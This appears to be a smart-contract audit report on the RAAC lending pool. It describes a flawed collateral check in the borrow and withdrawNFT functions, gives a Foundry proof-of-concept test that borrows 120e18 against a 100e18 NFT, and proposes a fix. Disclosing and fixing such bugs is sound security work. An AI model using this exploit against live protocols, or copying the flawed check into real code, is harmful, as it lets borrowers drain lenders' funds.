01. Relevant GitHub Links
02. Summary
The DebtToken::borrow
function incorrectly verifies whether the user has sufficient collateral, allowing them to borrow more than expected.
03. Vulnerability Details
There is an issue in the DebtToken::borrow
function where it checks if the user has enough collateral.
function borrow(uint256 amount) external nonReentrant whenNotPaused onlyValidAmount(amount) {
if (isUnderLiquidation[msg.sender]) revert CannotBorrowUnderLiquidation();
UserData storage user = userData[msg.sender];
uint256 collateralValue = getUserCollateralValue(msg.sender);
if (collateralValue == 0) revert NoCollateral();
ReserveLibrary.updateReserveState(reserve, rateData);
_ensureLiquidity(amount);
uint256 userTotalDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex) + amount;
@> if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {
revert NotEnoughCollateralToBorrow();
}
uint256 scaledAmount = amount.rayDiv(reserve.usageIndex);
...
Because percentMul(liquidationThreshold)
is calculated on userTotalDebt, the amount of collateral required for the user to borrow is smaller.
이 문제는 withdrawNFT 함수에서도 나타난다. userDebt을 percentMul(liquidationThreshold)로 계산하기 때문에 사용자가 필요한 담보가 더 적게 계산된다.
* @notice Allows a user to withdraw an NFT
* @param tokenId The token ID of the NFT to withdraw
*/
function withdrawNFT(uint256 tokenId) external nonReentrant whenNotPaused {
if (isUnderLiquidation[msg.sender])
revert CannotWithdrawUnderLiquidation();
UserData storage user = userData[msg.sender];
if (!user.depositedNFTs[tokenId]) revert NFTNotDeposited();
ReserveLibrary.updateReserveState(reserve, rateData);
uint256 userDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex);
uint256 collateralValue = getUserCollateralValue(msg.sender);
uint256 nftValue = getNFTPrice(tokenId);
if (
collateralValue - nftValue <
@> userDebt.percentMul(liquidationThreshold)
) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}
04. Impact
05. Proof of Concept
If you run the PoC with the command forge test --mt test_poc_user_can_borrow_more_than_collateralValue
, you can see that you have deposited 100e18 nft but can borrow 120e18.
pragma solidity ^0.8.19;
import {Test, console} from "forge-std/Test.sol";
import {crvUSDToken} from "src/mocks/core/tokens/crvUSDToken.sol";
import {RAACHousePrices} from "src/core/primitives/RAACHousePrices.sol";
import {RAACNFT} from "src/core/tokens/RAACNFT.sol";
import {RToken} from "src/core/tokens/RToken.sol";
import {DebtToken} from "src/core/tokens/DebtToken.sol";
import {LendingPool} from "src/core/pools/LendingPool/LendingPool.sol";
import {ReserveLibrary} from "src/libraries/pools/ReserveLibrary.sol";
contract BaseTest is Test {
crvUSDToken public crvUSDTokenInstance;
RAACHousePrices public raacHousePricesInstance;
RAACNFT public raacNFTInstance;
RToken public rTokenInstance;
DebtToken public debtTokenInstance;
LendingPool public lendingPoolInstance;
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address hyuunn = makeAddr("hyuunn");
function setUp() public {
crvUSDTokenInstance = new crvUSDToken(address(this));
raacHousePricesInstance = new RAACHousePrices(address(this));
raacHousePricesInstance.setOracle(address(this));
raacNFTInstance = new RAACNFT(
address(crvUSDTokenInstance),
address(raacHousePricesInstance),
address(this)
);
_mintRaacNFT();
rTokenInstance = new RToken(
"RToken",
"RTK",
address(this),
address(crvUSDTokenInstance)
);
debtTokenInstance = new DebtToken("DebtToken", "DEBT", address(this));
lendingPoolInstance = new LendingPool(
address(crvUSDTokenInstance),
address(rTokenInstance),
address(debtTokenInstance),
address(raacNFTInstance),
address(raacHousePricesInstance),
0.1e27
);
rTokenInstance.setReservePool(address(lendingPoolInstance));
debtTokenInstance.setReservePool(address(lendingPoolInstance));
}
function _mintRaacNFT() internal {
raacHousePricesInstance.setHousePrice(0, 100e18);
raacHousePricesInstance.setHousePrice(1, 50e18);
raacHousePricesInstance.setHousePrice(2, 150e18);
deal(address(crvUSDTokenInstance), alice, 1000e18);
deal(address(crvUSDTokenInstance), bob, 1000e18);
deal(address(crvUSDTokenInstance), hyuunn, 1000e18);
vm.startPrank(alice);
crvUSDTokenInstance.approve(address(raacNFTInstance), 100e18 + 1);
raacNFTInstance.mint(0, 100e18 + 1);
vm.stopPrank();
vm.startPrank(bob);
crvUSDTokenInstance.approve(address(raacNFTInstance), 50e18 + 1);
raacNFTInstance.mint(1, 50e18 + 1);
vm.stopPrank();
}
function test_poc_user_can_borrow_more_than_collateralValue() public {
vm.startPrank(bob);
crvUSDTokenInstance.approve(address(lendingPoolInstance), 500e18);
lendingPoolInstance.deposit(500e18);
vm.stopPrank();
vm.startPrank(alice);
raacNFTInstance.approve(address(lendingPoolInstance), 0);
lendingPoolInstance.depositNFT(0);
assertEq(lendingPoolInstance.getUserCollateralValue(alice), 100e18);
lendingPoolInstance.borrow(120e18);
}
}
06. Tools Used
Manual Code Review and Foundry
07. Recommended Mitigation
function borrow(uint256 amount) external nonReentrant whenNotPaused onlyValidAmount(amount) {
if (isUnderLiquidation[msg.sender]) revert CannotBorrowUnderLiquidation();
UserData storage user = userData[msg.sender];
uint256 collateralValue = getUserCollateralValue(msg.sender);
if (collateralValue == 0) revert NoCollateral();
ReserveLibrary.updateReserveState(reserve, rateData);
_ensureLiquidity(amount);
uint256 userTotalDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex) + amount;
- if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {
+ if (collateralValue.percentMul(liquidationThreshold) < userTotalDebt) {
revert NotEnoughCollateralToBorrow();
}
uint256 scaledAmount = amount.rayDiv(reserve.usageIndex);
...
/**
* @notice Allows a user to withdraw an NFT
* @param tokenId The token ID of the NFT to withdraw
*/
function withdrawNFT(uint256 tokenId) external nonReentrant whenNotPaused {
if (isUnderLiquidation[msg.sender])
revert CannotWithdrawUnderLiquidation();
UserData storage user = userData[msg.sender];
if (!user.depositedNFTs[tokenId]) revert NFTNotDeposited();
// update state
ReserveLibrary.updateReserveState(reserve, rateData);
// Check if withdrawal would leave user undercollateralized
uint256 userDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex);
uint256 collateralValue = getUserCollateralValue(msg.sender);
uint256 nftValue = getNFTPrice(tokenId);
if (
- collateralValue - nftValue <
+ (collateralValue - nftValue).percentMul(liquidationThreshold) <
- userDebt.percentMul(liquidationThreshold)
+ userDebt
) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}